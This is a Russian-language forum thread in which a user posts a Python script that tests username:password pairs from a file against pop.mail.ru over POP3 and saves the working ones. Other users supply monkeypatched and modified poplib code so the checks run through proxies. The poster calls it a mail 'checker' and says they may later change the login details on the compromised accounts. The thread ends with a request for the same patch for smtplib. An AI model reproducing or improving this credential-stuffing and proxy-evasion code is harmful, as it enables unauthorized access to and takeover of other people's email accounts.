[Python] POP3 & Proxy

как этот скрипт модифицировать на роботу через прокси

Code:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import poplib, email
# Учетные данные пользователя:
SERVER = "pop.mail.ru"

import sys
import string
try:
	filename = sys.argv[1]
	print "Используеться файл с данными " + filename
except IndexError:
	print "Используется стандартный файл с данными input.txt"
	filename="input.txt"

try:
	f1 = open(filename, "r")
	f_good = open("good.txt", "w")
except IOError:
	print "Чёта я файл открыть немогу :("
	exit(1)

while 1:
  	temp = f1.readline()
  	if not temp:
  		break
  	USERNAME = temp[0:temp.find(":")].strip()
  	if (len(USERNAME) < 3):
  		continue
  	USERPASSWORD = temp[(temp.find(":")+1):-1].strip()	
  	if (len(USERPASSWORD) < 3):
  		continue

	p = poplib.POP3(SERVER)
	print p.getwelcome()
	try:
		print p.user(USERNAME)
		print p.pass_(USERPASSWORD)
		print p.quit()
		f_good.write(temp)
	except:
		print "Пароль неподошол"

накатал седня утречком, а как работать с проксей на питоне незнаю.
Если работу через прокси можно легко внести сюда то может кто покажет как, если сложно то мож кто знает материальчик хороший на эту тему ?

 

Два варианта - первый принудительно указывать переменную окружения (не факт что сработает).
Второй - Socksipy, но придется модифицировать poplib, а точнее обезьянопатчить

Вот тебе метод

Code:

    def __init__(self, host, port=POP3_PORT,
                 timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
        self.host = host
        self.port = port
        self.sock = socket.create_connection((host, port), timeout)
        self.file = self.sock.makefile('rb')
        self._debugging = 0
        self.welcome = self._getresp()

В принципе вполне хватит его заманкипатчить (с socksipy)
Ага, и да, катят только прокси с незарезанным методом CONNECT (в принципе другие и не прокатят и так)
В принципе в этих библиотеках больше доков чем кода.
Можна и саму библиотеку немного переписать под socksipy(но она херовая сама по себе )

 

Бла-бла-бла
От пиздёжа к делу.
Необходима socksipy :

Code:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import poplib
import socks

def create_connection((host, port), timeout):
    proxy_addr = "0.0.0.0"#Адрес прокси-сервера
    proxy_port = 8080#Порт прокси-сервера (типа int)
    proxy_type = 3#Тип прокси-сервера (1-SOCKS5, 2-SOCKS4, 3-HTTP с разрешенным методом CONNECT)
    soket = socks.socksocket() #Создание обьекта socksocket из socksipy
    soket.setproxy(proxytype=proxy_type, addr=proxy_addr, port=proxy_port)#Установка прокси для него
    soket.connect((host, port))#Вызов его метода connect
    return soket#Возврат сокета из функции
    
poplib.socket.create_connection = create_connection

Вот тебе манкипатч.
После него пишешь весь свой код (естественно не импортируя повторно poplib )
Проверил только что.
Как уже видно, он патчит метод create_connection из модуля socket, этот метод в библиотеке используется один раз - в атрибуте, который я указал выше.
Вроде работает.
Для себя - самое то, большего не нужно.
Для использования в более высоких целях - не катит ибо там саму socksipy нужно патчить под голимые пабликовые прокси.

 

Спасибо, домой приду попробую.

А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?

 

Не вижу смысла усложнять.
poplib там и так элементарная.
Можно ей просто этот манкипатч всунуть в код да и все
будет sockpoplib
Переписать будет несложно
Этот патч будет нормально работать так как этот метод вызывается только один раз. Просто в зависимости от целей нужно что-то думать.
Подскажи для чего оно нужно и подумаем, имеет ли смысл ее модифицировать. А насчет socksipy то она работает как надстройка над socket . Там парочка методов которые ничего особого не делают. Они только отправляют инициирующий запрос на соединение прокси/сокс-серверу, а потом просто связывают свой внутренний сокет с этим проксиком. Оно все прозрачно и красиво, но для моих целей неюзабельно ибо неустойчиво + еще пару минусов. Я вообще задумался над написанием своего собственного модуля для работы с хттп протоколом (хотя бы начального уровня, для своих потребностей) Хотя и планов то у меня как у Наполеона

 

ну как бы банально это не было, хочу свой чекер мыл сделать для него этот метод как раз то самое.

Но если учитывать Наполеоновкие планы то возможно когда то в будущем сделать скрипт по изменению аутентификационных данных на good-мылах, хотя подумал и решил что правильней сначала прочекать а уже в другом скрипте можно и менять данные (но мож отпустит, и перехочется этим заниматься) так что остановлюсь на твоем методе.

 

Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд.

Может есть у кого еще идеи, как работают аналогичные чекеры ?

 

Предлагю таки модифицировать poplib под свои нужды
Могу завтра по свободе заняться.
Только чур не ругаться потом на socksipy.
Если нужно могу выложить свой немного поправленный прокси-чекер с модифицированной socksipy (правда там есть один нюанс - то ли криво работает Socksipy, то ли httplib2 (использовал socksipy в связке с ней), но я от этого варианта отказался из-за редкостной глючности). Прокси-чекер это класс а не приложение . Вроде я его еще не удалил.

 

http://dl.dropbox.com/u/381215/sockspoplib.zip
Минимальные изменения в poplib (в предела патча+замечен один баг в самой poplib =/)

 

выкладывай, думаю лишнем не будет.
А что ты подразумеваешь под "модифицированной" библиотекой ? Это переопределенные функции в самом коде скрипта (по типу как ты сделал create_connection) или в самой библиотеке поправлено что то ?

 

Это замена метода __init__
на вот такой :

Code:

    def __init__(self, host, port=POP3_PORT,
                 timeout=socket._GLOBAL_DEFAULT_TIMEOUT, proxytype=None, proxyaddr=None, proxyport=None):
        self.host = host
        self.port = port
        self.sock = socks.socksocket()
        self.sock.setproxy(proxytype=proxytype, addr=proxyaddr, port=proxyport, rdns=True)
        self.sock.connect((host, port))
        if isinstance(timeout, int) or isinstance(timeout, str) or isinstance(timeout, float):
            self.sock.settimeout(float(timeout))
        self.file = self.sock.makefile('rb')
        self._debugging = 0
        self.welcome = self._getresp()

И добавление пары дополнительных атрибутов в саму poplib

Code:

HTTP_PROXY = socks.PROXY_TYPE_HTTP
SOCKS4_PROXY = socks.PROXY_TYPE_SOCKS4
SOCKS5_PROXY = socks.PROXY_TYPE_SOCKS5

Пример использования :

Code:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sockspoplib

proxy_addr = "10.10.31.103"
proxy_type = sockspoplib.HTTP_PROXY
proxy_port = 3128
SERVER = "pop.mail.ru"
p = sockspoplib.POP3(SERVER, proxytype=proxy_type, proxyaddr=proxy_addr, proxyport=proxy_port)
print p.getwelcome()

Авторизация на прокси добавляется добавлением дополнительных параметров, но в твоих целях это неважно.
П.С. Прокси-чекером не обрадую, ибо таки по ходу снес. Гляну еще дома - мб там завалялось.

 

А не мог бы ты для smtplib подобный патч набросать? Пытаюсь разобраться сам, но пока путаюсь в этих _get_socket и т.д.